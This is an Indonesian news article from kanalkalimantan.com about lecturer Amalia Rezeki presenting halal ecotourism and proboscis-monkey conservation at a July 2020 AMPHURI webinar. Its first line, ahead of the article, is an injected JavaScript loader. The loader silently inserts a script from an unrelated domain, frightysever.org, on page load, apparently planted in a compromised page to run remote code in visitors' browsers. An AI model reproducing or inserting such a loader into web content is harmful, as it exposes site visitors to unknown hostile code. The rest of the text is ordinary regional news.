(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Pegiat Ekowisata Halal di Kalimantan Selatan Amalia Rezeki akan bicara sebagai nara sumber pada Webinar Internasional Global Halal Management, dari Asosiasi Muslim Penyelenggara Haji dan Umrah Republik Indonesia (AMPHURI) DPD DKI Jakarta, Kamis (16/7/2020) pukul 14.30 Wita.
Global Halal Management dari AMPHURI DPD DKI Jakarta kembali mengadakan webinar internasional. Kali ini menghadirkan nara sumber akademisi perempuan. Diantaranya Amalia Rezeki dosen biologi Universitas Lambung Mangkurat dikenal pegiat ekowisata halal di Kalimantan Selatan, disandingkan dengan Barbara Ruiz Bejarano, Professor at The UNESCO – University of Alicante – Spanyol. Serta Iskandar Waworuntu, praktisi senior dibidang permakultur.
Kehadiran Amalia Rezeki di forum diskusi itu, tentu memberi warna tersendiri dan cukup membanggakan. Apalagi dosen muda yang satu ini hadir dan berbicara sesuatu yang baru bagi kita di Kalimantan Selatan. Dengan tema ‘Mengenal Eco Halal Tourism dan Peluang Bisnis Didalamnya’ yang diselenggarakan pada hari Kamis 16 Juli 2020 pukul 14.30 Wita.
Amel sebutan akrab perempuan berhijab ini akan mengenalkan Ekowisata Halal yang ia kembangkan dikawasan Pulau Curiak, Barito Kuala. “Ekowisata halal itu bukan mengubah budaya atau objek Ekowisata yang selama ini menjadi islamiah. Tapi dilihat dari sisi fasilitas penunjang seperti makanan dan minuman halal, dan kemudahan menjalankan ibadah dengan ketersedian tempat ibadah dan tatanan yang lebih mendekatkan kepada rasa syukur atas keagungan Tuhan terhadap alam ciptaan-Nya,” katanya.
Baca juga: Harganya Rp180 Ribu, Masker Wajah Bolong-Bolong Ini Dicibir Warganet
Dalam kesempatan luar biasa ini, Amel menyampaikan bahwa webinar yang diselenggarakan oleh DPD AMPHURI DKI Jakarta merupakan momen istimewa sebagai sarana menyebarluaskan informasi dan bentuk promosi ekowisata bekantan di Kalimantan Selatan.
“Dibalik kondisi kita saat ini di tengah pandemi Covid-19 yang melanda semua belahan dunia, kita masih bisa mengaktualisasikan diri dengan saling sharing dan memberikan motivasi satu sama lain. Karena memang saat ini industri pariwisata kita mengalami tantangan luar biasa. Penyelenggaraan webinar ini menjadi peluang promosi bagi kita. Bahwa di Kalimantan Selatan, ada pilihan destinasi wisata mengedepankan pelestarian alam dan satwa liar-nya berpadu kearifan lokal masyarakat khas ekosistem lahan basah. Konsep ekowisata yang kita kembangkan menerapkan prinsip ekowisata halal,” jelas Amel yang juga dikenal sebagai founder SBI Foundation.
Dalam diskusi webinar yang akan berlangsung siang ini, Amalia akan menyampaikan materi tentang perkembangan ekowisata bekantan di Kalimantan Selatan sebagai upaya pelestarian bekantan, primata endemik Kalimantan berbasis pemberdayaan masyarakat lokal.
Baca juga: Kabar Duka, Kai Api Wafat di Usia 81 Tahun
Menurut Amel, ekowisata bekantan ini dipilih sebagai salah satu topik pembahasan, karena dianggap baru dan unik.
“Selama ini kita mengenal ekowisata satwa liar seperti ekowisata orangutan di Tanjung Puting, ekowisata gajah di Lampung, ekowisata badak di Ujung Kulon, ekowisata komodo di NTT, dan beberapa ekowisata berbasis satwa liar lainnya di Indonesia,” katanya.
Namun, sayangnya belum dioptimalkan bekantan sebagai primata endemik yang langka ini sebagai obyek ekowisata. Melalui konsep ekowisata bekantan ini, wisatawan akan didampingi penjelasan edukasi mengenai bekantan dan semua keunikannya dalam sebuah ekosistem. Selain itu, wisatawan juga diajak turut berpartisipasi dalam aksi konservasi seperti penanaman pohon mangrove yang merupakan pakan utama bekantan.
Baca juga: Imut dan Penuh Warna, Skuter Elektrik Rp 6 Jutaan Ini Dibuat oleh Xiaomi?
“Wisatawan juga bisa melihat kearifan lokal masyarakat melalui aktivitas penduduk pada pasar terapung ikan hasil tangkapan nelayan di kawasan restorasi mangrove, dan masih banyak daya tarik lainnya,” jelasnya.
Panitia webinar, sengaja menghadirkan Amel pada acara seminar tersebut, karena ia dianggap cukup berhasil dalam mengembangkan ekowisata dengan berbasiskan konservasi satwa liar dengan konsep syariah di Kalimantan Selatan yang sudah mendunia. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.